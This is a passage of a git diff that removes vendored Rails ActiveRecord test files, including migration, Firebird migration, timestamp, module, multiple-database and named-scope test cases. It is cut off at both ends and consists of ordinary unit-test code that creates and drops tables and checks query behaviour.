-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-
-      WeNeedReminders.down
-      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
-    ensure
-      ActiveRecord::Base.table_name_prefix = ''
-      ActiveRecord::Base.table_name_suffix = ''
-      Reminder.reset_table_name
-      Reminder.reset_sequence_name
-    end
-
-    def test_create_table_with_binary_column
-      Person.connection.drop_table :binary_testings rescue nil
-
-      assert_nothing_raised {
-        Person.connection.create_table :binary_testings do |t|
-          t.column "data", :binary, :null => false
-        end
-      }
-
-      columns = Person.connection.columns(:binary_testings)
-      data_column = columns.detect { |c| c.name == "data" }
-
-      if current_adapter?(:MysqlAdapter)
-        assert_equal '', data_column.default
-      else
-        assert_nil data_column.default
-      end
-
-      Person.connection.drop_table :binary_testings rescue nil
-    end
-
-    def test_migrator_with_duplicates
-      assert_raise(ActiveRecord::DuplicateMigrationVersionError) do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate", nil)
-      end
-    end
-
-    def test_migrator_with_duplicate_names
-      assert_raise(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate_names", nil)
-      end
-    end
-
-    def test_migrator_with_missing_version_numbers
-      assert_raise(ActiveRecord::UnknownMigrationVersionError) do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/missing", 500)
-      end
-    end
-
-    def test_create_table_with_custom_sequence_name
-      return unless current_adapter? :OracleAdapter
-
-      # table name is 29 chars, the standard sequence name will
-      # be 33 chars and fail
-      assert_raise(ActiveRecord::StatementInvalid) do
-        begin
-          Person.connection.create_table :table_with_name_thats_just_ok do |t|
-            t.column :foo, :string, :null => false
-          end
-        ensure
-          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
-        end
-      end
-
-      # should be all good w/ a custom sequence name
-      assert_nothing_raised do
-        begin
-          Person.connection.create_table :table_with_name_thats_just_ok,
-                                         :sequence_name => 'suitably_short_seq' do |t|
-            t.column :foo, :string, :null => false
-          end
-
-          Person.connection.execute("select suitably_short_seq.nextval from dual")
-
-        ensure
-          Person.connection.drop_table :table_with_name_thats_just_ok,
-                                       :sequence_name => 'suitably_short_seq' rescue nil
-        end
-      end
-
-      # confirm the custom sequence got dropped
-      assert_raise(ActiveRecord::StatementInvalid) do
-        Person.connection.execute("select suitably_short_seq.nextval from dual")
-      end
-    end
-
-    protected
-      def with_env_tz(new_tz = 'US/Eastern')
-        old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-        yield
-      ensure
-        old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-      end
-
-  end
-
-  class SexyMigrationsTest < ActiveRecord::TestCase
-    def test_references_column_type_adds_id
-      with_new_table do |t|
-        t.expects(:column).with('customer_id', :integer, {})
-        t.references :customer
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_adds_type
-      with_new_table do |t|
-        t.expects(:column).with('taggable_type', :string, {})
-        t.expects(:column).with('taggable_id', :integer, {})
-        t.references :taggable, :polymorphic => true
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
-      with_new_table do |t|
-        t.expects(:column).with('taggable_type', :string, {:null => false})
-        t.expects(:column).with('taggable_id', :integer, {:null => false})
-        t.references :taggable, :polymorphic => true, :null => false
-      end
-    end
-
-    def test_belongs_to_works_like_references
-      with_new_table do |t|
-        t.expects(:column).with('customer_id', :integer, {})
-        t.belongs_to :customer
-      end
-    end
-
-    def test_timestamps_creates_updated_at_and_created_at
-      with_new_table do |t|
-        t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
-        t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
-        t.timestamps
-      end
-    end
-
-    def test_integer_creates_integer_column
-      with_new_table do |t|
-        t.expects(:column).with(:foo, 'integer', {})
-        t.expects(:column).with(:bar, 'integer', {})
-        t.integer :foo, :bar
-      end
-    end
-
-    def test_string_creates_string_column
-      with_new_table do |t|
-        t.expects(:column).with(:foo, 'string', {})
-        t.expects(:column).with(:bar, 'string', {})
-        t.string :foo, :bar
-      end
-    end
-
-    if current_adapter?(:PostgreSQLAdapter)
-      def test_xml_creates_xml_column
-        with_new_table do |t|
-          t.expects(:column).with(:data, 'xml', {})
-          t.xml :data
-        end
-      end
-    end
-
-    protected
-    def with_new_table
-      Person.connection.create_table :delete_me, :force => true do |t|
-        yield t
-      end
-    ensure
-      Person.connection.drop_table :delete_me rescue nil
-    end
-
-  end # SexyMigrationsTest
-
-  class ChangeTableMigrationsTest < ActiveRecord::TestCase
-    def setup
-      @connection = Person.connection
-      @connection.create_table :delete_me, :force => true do |t|
-      end
-    end
-
-    def teardown
-      Person.connection.drop_table :delete_me rescue nil
-    end
-
-    def test_references_column_type_adds_id
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
-        t.references :customer
-      end
-    end
-
-    def test_remove_references_column_type_removes_id
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'customer_id')
-        t.remove_references :customer
-      end
-    end
-
-    def test_add_belongs_to_works_like_add_references
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
-        t.belongs_to :customer
-      end
-    end
-
-    def test_remove_belongs_to_works_like_remove_references
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'customer_id')
-        t.remove_belongs_to :customer
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_adds_type
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
-        @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
-        t.references :taggable, :polymorphic => true
-      end
-    end
-
-    def test_remove_references_column_type_with_polymorphic_removes_type
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
-        t.remove_references :taggable, :polymorphic => true
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
-        @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
-        t.references :taggable, :polymorphic => true, :null => false
-      end
-    end
-
-    def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
-        t.remove_references :taggable, :polymorphic => true, :null => false
-      end
-    end
-
-    def test_timestamps_creates_updated_at_and_created_at
-      with_change_table do |t|
-        @connection.expects(:add_timestamps).with(:delete_me)
-        t.timestamps
-      end
-    end
-
-    def test_remove_timestamps_creates_updated_at_and_created_at
-      with_change_table do |t|
-        @connection.expects(:remove_timestamps).with(:delete_me)
-        t.remove_timestamps
-      end
-    end
-
-    def string_column
-      if current_adapter?(:PostgreSQLAdapter)
-        "character varying(255)"
-      else
-        'varchar(255)'
-      end
-    end
-
-    def integer_column
-      if current_adapter?(:MysqlAdapter)
-        'int(11)'
-      else
-        'integer'
-      end
-    end
-
-    def test_integer_creates_integer_column
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
-        @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
-        t.integer :foo, :bar
-      end
-    end
-
-    def test_string_creates_string_column
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
-        @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
-        t.string :foo, :bar
-      end
-    end
-
-    def test_column_creates_column
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
-        t.column :bar, :integer
-      end
-    end
-
-    def test_column_creates_column_with_options
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
-        t.column :bar, :integer, :null => false
-      end
-    end
-
-    def test_index_creates_index
-      with_change_table do |t|
-        @connection.expects(:add_index).with(:delete_me, :bar, {})
-        t.index :bar
-      end
-    end
-
-    def test_index_creates_index_with_options
-      with_change_table do |t|
-        @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
-        t.index :bar, :unique => true
-      end
-    end
-
-    def test_change_changes_column
-      with_change_table do |t|
-        @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
-        t.change :bar, :string
-      end
-    end
-
-    def test_change_changes_column_with_options
-      with_change_table do |t|
-        @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
-        t.change :bar, :string, :null => true
-      end
-    end
-
-    def test_change_default_changes_column
-      with_change_table do |t|
-        @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
-        t.change_default :bar, :string
-      end
-    end
-
-    def test_remove_drops_single_column
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, [:bar])
-        t.remove :bar
-      end
-    end
-
-    def test_remove_drops_multiple_columns
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
-        t.remove :bar, :baz
-      end
-    end
-
-    def test_remove_index_removes_index_with_options
-      with_change_table do |t|
-        @connection.expects(:remove_index).with(:delete_me, {:unique => true})
-        t.remove_index :unique => true
-      end
-    end
-
-    def test_rename_renames_column
-      with_change_table do |t|
-        @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
-        t.rename :bar, :baz
-      end
-    end
-
-    protected
-    def with_change_table
-      Person.connection.change_table :delete_me do |t|
-        yield t
-      end
-    end
-  end
-end
-
diff --git a/vendor/rails/activerecord/test/cases/migration_test_firebird.rb b/vendor/rails/activerecord/test/cases/migration_test_firebird.rb
deleted file mode 100644
index 710661b9..00000000
--- a/vendor/rails/activerecord/test/cases/migration_test_firebird.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-require "cases/helper"
-require 'models/course'
-
-class FirebirdMigrationTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
-    @connection = Course.connection
-    @fireruby_connection = @connection.instance_variable_get(:@connection)
-  end
-
-  def teardown
-    @connection.drop_table :foo rescue nil
-    @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
-  end
-
-  def test_create_table_with_custom_sequence_name
-    assert_nothing_raised do
-      @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert sequence_exists?('foo_custom_seq')
-
-    assert_nothing_raised { @connection.drop_table(:foo, :sequence => 'foo_custom_seq') }
-    assert !sequence_exists?('foo_custom_seq')
-  ensure
-    FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
-  end
-
-  def test_create_table_without_sequence
-    assert_nothing_raised do
-      @connection.create_table(:foo, :sequence => false) do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert_nothing_raised { @connection.drop_table :foo }
-
-    assert_nothing_raised do
-      @connection.create_table(:foo, :id => false) do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert_nothing_raised { @connection.drop_table :foo }
-  end
-
-  def test_create_table_with_boolean_column
-    assert !boolean_domain_exists?
-    assert_nothing_raised do
-      @connection.create_table :foo do |f|
-        f.column :bar, :string
-        f.column :baz, :boolean
-      end
-    end
-    assert boolean_domain_exists?
-  end
-
-  def test_add_boolean_column
-    assert !boolean_domain_exists?
-    @connection.create_table :foo do |f|
-      f.column :bar, :string
-    end
-
-    assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
-    assert boolean_domain_exists?
-    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
-  end
-
-  def test_change_column_to_boolean
-    assert !boolean_domain_exists?
-    # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
-    @connection.execute "CREATE TABLE foo (bar SMALLINT)"
-    assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-
-    assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
-    assert boolean_domain_exists?
-    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-  end
-
-  def test_rename_table_with_data_and_index
-    @connection.create_table :foo do |f|
-      f.column :baz, :string, :limit => 50
-    end
-    100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
-    @connection.add_index :foo, :baz
-
-    assert_nothing_raised { @connection.rename_table :foo, :bar }
-    assert !@connection.tables.include?("foo")
-    assert @connection.tables.include?("bar")
-    assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
-    assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
-    assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
-  ensure
-    @connection.drop_table :bar rescue nil
-  end
-
-  def test_renaming_table_with_fk_constraint_raises_error
-    @connection.create_table :parent do |p|
-      p.column :name, :string
-    end
-    @connection.create_table :child do |c|
-      c.column :parent_id, :integer
-    end
-    @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
-    assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
-  ensure
-    @connection.drop_table :child rescue nil
-    @connection.drop_table :descendant rescue nil
-    @connection.drop_table :parent rescue nil
-  end
-
-  private
-    def boolean_domain_exists?
-      !@connection.select_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
-    end
-
-    def sequence_exists?(sequence_name)
-      FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/mixin_test.rb b/vendor/rails/activerecord/test/cases/mixin_test.rb
deleted file mode 100644
index f927c139..00000000
--- a/vendor/rails/activerecord/test/cases/mixin_test.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require "cases/helper"
-
-class Mixin < ActiveRecord::Base
-end
-
-# Let us control what Time.now returns for the TouchTest suite
-class Time
-  @@forced_now_time = nil
-  cattr_accessor :forced_now_time
-
-  class << self
-    def now_with_forcing
-      if @@forced_now_time
-        @@forced_now_time
-      else
-        now_without_forcing
-      end
-    end
-    alias_method_chain :now, :forcing
-  end
-end
-
-
-class TouchTest < ActiveRecord::TestCase
-  fixtures :mixins
-
-  def setup
-    Time.forced_now_time = Time.now
-  end
-
-  def teardown
-    Time.forced_now_time = nil
-  end
-
-  def test_time_mocking
-    five_minutes_ago = 5.minutes.ago
-    Time.forced_now_time = five_minutes_ago
-    assert_equal five_minutes_ago, Time.now
-
-    Time.forced_now_time = nil
-    assert_not_equal five_minutes_ago, Time.now
-  end
-
-  def test_update
-    stamped = Mixin.new
-
-    assert_nil stamped.updated_at
-    assert_nil stamped.created_at
-    stamped.save
-    assert_equal Time.now, stamped.updated_at
-    assert_equal Time.now, stamped.created_at
-  end
-
-  def test_create
-    obj = Mixin.create
-    assert_equal Time.now, obj.updated_at
-    assert_equal Time.now, obj.created_at
-  end
-
-  def test_many_updates
-    stamped = Mixin.new
-
-    assert_nil stamped.updated_at
-    assert_nil stamped.created_at
-    stamped.save
-    assert_equal Time.now, stamped.created_at
-    assert_equal Time.now, stamped.updated_at
-
-    old_updated_at = stamped.updated_at
-
-    Time.forced_now_time = 5.minutes.from_now
-    stamped.lft_will_change!
-    stamped.save
-
-    assert_equal Time.now, stamped.updated_at
-    assert_equal old_updated_at, stamped.created_at
-  end
-
-  def test_create_turned_off
-    Mixin.record_timestamps = false
-
-    mixin = Mixin.new
-
-    assert_nil mixin.updated_at
-    mixin.save
-    assert_nil mixin.updated_at
-
-  # Make sure Mixin.record_timestamps gets reset, even if this test fails,
-  # so that other tests do not fail because Mixin.record_timestamps == false
-  rescue Exception => e
-    raise e
-  ensure
-    Mixin.record_timestamps = true
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/modules_test.rb b/vendor/rails/activerecord/test/cases/modules_test.rb
deleted file mode 100644
index 62d54015..00000000
--- a/vendor/rails/activerecord/test/cases/modules_test.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-require "cases/helper"
-require 'models/company_in_module'
-
-class ModulesTest < ActiveRecord::TestCase
-  fixtures :accounts, :companies, :projects, :developers
-
-  def setup
-    # need to make sure Object::Firm and Object::Client are not defined,
-    # so that constantize will not be able to cheat when having to load namespaced classes
-    @undefined_consts = {}
-
-    [:Firm, :Client].each do |const|
-      @undefined_consts.merge! const => Object.send(:remove_const, const) if Object.const_defined?(const)
-    end
-  end
-
-  def teardown
-    # reinstate the constants that we undefined in the setup
-    @undefined_consts.each do |constant, value|
-      Object.send :const_set, constant, value unless value.nil?
-    end
-  end
-
-  def test_module_spanning_associations
-    firm = MyApplication::Business::Firm.find(:first)
-    assert !firm.clients.empty?, "Firm should have clients"
-    assert_nil firm.class.table_name.match('::'), "Firm shouldn't have the module appear in its table name"
-  end
-
-  def test_module_spanning_has_and_belongs_to_many_associations
-    project = MyApplication::Business::Project.find(:first)
-    project.developers << MyApplication::Business::Developer.create("name" => "John")
-    assert "John", project.developers.last.name
-  end
-
-  def test_associations_spanning_cross_modules
-    account = MyApplication::Billing::Account.find(:first, :order => 'id')
-    assert_kind_of MyApplication::Business::Firm, account.firm
-    assert_kind_of MyApplication::Billing::Firm, account.qualified_billing_firm
-    assert_kind_of MyApplication::Billing::Firm, account.unqualified_billing_firm
-    assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_qualified_billing_firm
-    assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_unqualified_billing_firm
-  end
-
-  def test_find_account_and_include_company
-    account = MyApplication::Billing::Account.find(1, :include => :firm)
-    assert_kind_of MyApplication::Business::Firm, account.instance_variable_get('@firm')
-    assert_kind_of MyApplication::Business::Firm, account.firm
-  end
-
-  def test_table_name
-    assert_equal 'accounts', MyApplication::Billing::Account.table_name, 'table_name for ActiveRecord model in module'
-    assert_equal 'companies', MyApplication::Business::Client.table_name, 'table_name for ActiveRecord model subclass'
-    assert_equal 'company_contacts', MyApplication::Business::Client::Contact.table_name, 'table_name for ActiveRecord model enclosed by another ActiveRecord model'
-  end
-
-  def test_assign_ids
-    firm = MyApplication::Business::Firm.first
-
-    assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
-      firm.client_ids = [MyApplication::Business::Client.first.id]
-    end
-  end
-
-  # need to add an eager loading condition to force the eager loading model into
-  # the old join model, to test that. See http://dev.rubyonrails.org/ticket/9640
-  def test_eager_loading_in_modules
-    clients = []
-
-    assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
-      clients << MyApplication::Business::Client.find(3, :include => {:firm => :account}, :conditions => 'accounts.id IS NOT NULL')
-      clients << MyApplication::Business::Client.find(3, :include => {:firm => :account})
-    end
-
-    clients.each do |client|
-      assert_no_queries do
-        assert_not_nil(client.firm.account)
-      end
-    end
-  end
-
-  def test_module_table_name_prefix
-    assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_prefix'
-    assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_prefix'
-    assert_equal 'companies', MyApplication::Business::Prefixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_prefix should not be prefixed'
-  end
-
-  def test_module_table_name_prefix_with_global_prefix
-    classes = [ MyApplication::Business::Company,
-                MyApplication::Business::Firm,
-                MyApplication::Business::Client,
-                MyApplication::Business::Client::Contact,
-                MyApplication::Business::Developer,
-                MyApplication::Business::Project,
-                MyApplication::Business::Prefixed::Company,
-                MyApplication::Business::Prefixed::Nested::Company,
-                MyApplication::Billing::Account ]
-
-    ActiveRecord::Base.table_name_prefix = 'global_'
-    classes.each(&:reset_table_name)
-    assert_equal 'global_companies', MyApplication::Business::Company.table_name, 'inferred table_name for ActiveRecord model in module without table_name_prefix'
-    assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_prefix'
-    assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_prefix'
-    assert_equal 'companies', MyApplication::Business::Prefixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_prefix should not be prefixed'
-  ensure
-    ActiveRecord::Base.table_name_prefix = ''
-    classes.each(&:reset_table_name)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/multiple_db_test.rb b/vendor/rails/activerecord/test/cases/multiple_db_test.rb
deleted file mode 100644
index 7c3e0f2c..00000000
--- a/vendor/rails/activerecord/test/cases/multiple_db_test.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-require "cases/helper"
-require 'models/entrant'
-
-# So we can test whether Course.connection survives a reload.
-require_dependency 'models/course'
-
-class MultipleDbTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @courses  = create_fixtures("courses") { Course.retrieve_connection }
-    @entrants = create_fixtures("entrants")
-  end
-
-  def test_connected
-    assert_not_nil Entrant.connection
-    assert_not_nil Course.connection
-  end
-
-  def test_proper_connection
-    assert_not_equal(Entrant.connection, Course.connection)
-    assert_equal(Entrant.connection, Entrant.retrieve_connection)
-    assert_equal(Course.connection, Course.retrieve_connection)
-    assert_equal(ActiveRecord::Base.connection, Entrant.connection)
-  end
-
-  def test_find
-    c1 = Course.find(1)
-    assert_equal "Ruby Development", c1.name
-    c2 = Course.find(2)
-    assert_equal "Java Development", c2.name
-    e1 = Entrant.find(1)
-    assert_equal "Ruby Developer", e1.name
-    e2 = Entrant.find(2)
-    assert_equal "Ruby Guru", e2.name
-    e3 = Entrant.find(3)
-    assert_equal "Java Lover", e3.name
-  end
-
-  def test_associations
-    c1 = Course.find(1)
-    assert_equal 2, c1.entrants.count
-    e1 = Entrant.find(1)
-    assert_equal e1.course.id, c1.id
-    c2 = Course.find(2)
-    assert_equal 1, c2.entrants.count
-    e3 = Entrant.find(3)
-    assert_equal e3.course.id, c2.id
-  end
-
-  def test_course_connection_should_survive_dependency_reload
-    assert Course.connection
-
-    ActiveSupport::Dependencies.clear
-    Object.send(:remove_const, :Course)
-    require_dependency 'models/course'
-
-    assert Course.connection
-  end
-
-  def test_transactions_across_databases
-    c1 = Course.find(1)
-    e1 = Entrant.find(1)
-
-    begin
-      Course.transaction do
-        Entrant.transaction do
-          c1.name = "Typo"
-          e1.name = "Typo"
-          c1.save
-          e1.save
-          raise "No I messed up."
-        end
-      end
-    rescue
-      # Yup caught it
-    end
-
-    assert_equal "Typo", c1.name
-    assert_equal "Typo", e1.name
-
-    assert_equal "Ruby Development", Course.find(1).name
-    assert_equal "Ruby Developer", Entrant.find(1).name
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/named_scope_test.rb b/vendor/rails/activerecord/test/cases/named_scope_test.rb
deleted file mode 100644
index 755fb047..00000000
--- a/vendor/rails/activerecord/test/cases/named_scope_test.rb
+++ /dev/null
@@ -1,372 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/topic'
-require 'models/comment'
-require 'models/reply'
-require 'models/author'
-require 'models/developer'
-
-class NamedScopeTest < ActiveRecord::TestCase
-  fixtures :posts, :authors, :topics, :comments, :author_addresses
-
-  def test_named_scope_with_STI
-    assert_equal 5,Post.with_type_self.count
-    assert_equal 1,SpecialPost.with_type_self.count
-  end
-
-  def test_implements_enumerable
-    assert !Topic.find(:all).empty?
-
-    assert_equal Topic.find(:all),   Topic.base
-    assert_equal Topic.find(:all),   Topic.base.to_a
-    assert_equal Topic.find(:first), Topic.base.first
-    assert_equal Topic.find(:all),   Topic.base.map { |i| i }
-  end
-
-  def test_found_items_are_cached
-    Topic.columns
-    all_posts = Topic.base
-
-    assert_queries(1) do
-      all_posts.collect
-      all_posts.collect
-    end
-  end
-
-  def test_reload_expires_cache_of_found_items
-    all_posts = Topic.base
-    all_posts.inspect
-
-    new_post = Topic.create!
-    assert !all_posts.include?(new_post)
-    assert all_posts.reload.include?(new_post)
-  end
-
-  def test_delegates_finds_and_calculations_to_the_base_class
-    assert !Topic.find(:all).empty?
-
-    assert_equal Topic.find(:all),               Topic.base.find(:all)
-    assert_equal Topic.find(:first),             Topic.base.find(:first)
-    assert_equal Topic.count,                    Topic.base.count
-    assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
-  end
-
-  def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
-    assert Topic.approved.respond_to?(:proxy_found)
-    assert Topic.approved.respond_to?(:count)
-    assert Topic.approved.respond_to?(:length)
-  end
-
-  def test_respond_to_respects_include_private_parameter
-    assert !Topic.approved.respond_to?(:load_found)
-    assert Topic.approved.respond_to?(:load_found, true)
-  end
-
-  def test_subclasses_inherit_scopes
-    assert Topic.scopes.include?(:base)
-
-    assert Reply.scopes.include?(:base)
-    assert_equal Reply.find(:all), Reply.base
-  end
-
-  def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
-    assert !Topic.find(:all, :conditions => {:approved => true}).empty?
-
-    assert_equal Topic.find(:all, :conditions => {:approved => true}), Topic.approved
-    assert_equal Topic.count(:conditions => {:approved => true}), Topic.approved.count
-  end
-
-  def test_scopes_with_string_name_can_be_composed
-    # NOTE that scopes defined with a string as a name worked on their own
-    # but when called on another scope the other scope was completely replaced
-    assert_equal Topic.replied.approved, Topic.replied.approved_as_string
-  end
-
-  def test_scopes_can_be_specified_with_deep_hash_conditions
-    assert_equal Topic.replied.approved, Topic.replied.approved_as_hash_condition
-  end
-
-  def test_scopes_are_composable
-    assert_equal (approved = Topic.find(:all, :conditions => {:approved => true})), Topic.approved
-    assert_equal (replied = Topic.find(:all, :conditions => 'replies_count > 0')), Topic.replied
-    assert !(approved == replied)
-    assert !(approved & replied).empty?
-
-    assert_equal approved & replied, Topic.approved.replied
-  end
-
-  def test_procedural_scopes
-    topics_written_before_the_third = Topic.find(:all, :conditions => ['written_on < ?', topics(:third).written_on])
-    topics_written_before_the_second = Topic.find(:all, :conditions => ['written_on < ?', topics(:second).written_on])
-    assert_not_equal topics_written_before_the_second, topics_written_before_the_third
-
-    assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
-    assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
-  end
-
-  def test_procedural_scopes_returning_nil
-    all_topics = Topic.find(:all)
-
-    assert_equal all_topics, Topic.written_before(nil)
-  end
-
-  def test_scopes_with_joins
-    address = author_addresses(:david_address)
-    posts_with_authors_at_address = Post.find(
-      :all, :joins => 'JOIN authors ON authors.id = posts.author_id',
-      :conditions => [ 'authors.author_address_id = ?', address.id ]
-    )
-    assert_equal posts_with_authors_at_address, Post.with_authors_at_address(address)
-  end
-
-  def test_scopes_with_joins_respects_custom_select
-    address = author_addresses(:david_address)
-    posts_with_authors_at_address_titles = Post.find(:all,
-      :select => 'title',
-      :joins => 'JOIN authors ON authors.id = posts.author_id',
-      :conditions => [ 'authors.author_address_id = ?', address.id ]
-    )
-    assert_equal posts_with_authors_at_address_titles, Post.with_authors_at_address(address).find(:all, :select => 'title')
-  end
-
-  def test_extensions
-    assert_equal 1, Topic.anonymous_extension.one
-    assert_equal 2, Topic.named_extension.two
-  end
-
-  def test_multiple_extensions
-    assert_equal 2, Topic.multiple_extensions.extension_two
-    assert_equal 1, Topic.multiple_extensions.extension_one
-  end
-
-  def test_has_many_associations_have_access_to_named_scopes
-    assert_not_equal Post.containing_the_letter_a, authors(:david).posts
-    assert !Post.containing_the_letter_a.empty?
-
-    assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
-  end
-
-  def test_nested_named_scopes_doesnt_duplicate_conditions_on_child_scopes
-    comments_scope = posts(:welcome).comments.send(:construct_sql)
-    named_scope_sql_conditions = posts(:welcome).comments.containing_the_letter_e.send(:current_scoped_methods)[:find][:conditions]
-    assert_no_match /#{comments_scope}.*#{comments_scope}/i, named_scope_sql_conditions
-  end
-
-  def test_has_many_through_associations_have_access_to_named_scopes
-    assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
-    assert !Comment.containing_the_letter_e.empty?
-
-    assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
-  end
-
-  def test_named_scopes_honor_current_scopes_from_when_defined
-    assert !Post.ranked_by_comments.limit(5).empty?
-    assert !authors(:david).posts.ranked_by_comments.limit(5).empty?
-    assert_not_equal Post.ranked_by_comments.limit(5), authors(:david).posts.ranked_by_comments.limit(5)
-    assert_not_equal Post.top(5), authors(:david).posts.top(5)
-    assert_equal authors(:david).posts.ranked_by_comments.limit(5), authors(:david).posts.top(5)
-    assert_equal Post.ranked_by_comments.limit(5), Post.top(5)
-  end
-
-  def test_active_records_have_scope_named__all__
-    assert !Topic.find(:all).empty?
-
-    assert_equal Topic.find(:all), Topic.base
-  end
-
-  def test_active_records_have_scope_named__scoped__
-    assert !Topic.find(:all, scope = {:conditions => "content LIKE '%Have%'"}).empty?
-
-    assert_equal Topic.find(:all, scope), Topic.scoped(scope)
-  end
-
-  def test_proxy_options
-    expected_proxy_options = { :conditions => { :approved => true } }
-    assert_equal expected_proxy_options, Topic.approved.proxy_options
-  end
-
-  def test_first_and_last_should_support_find_options
-    assert_equal Topic.base.first(:order => 'title'), Topic.base.find(:first, :order => 'title')
-    assert_equal Topic.base.last(:order => 'title'), Topic.base.find(:last, :order => 'title')
-  end
-
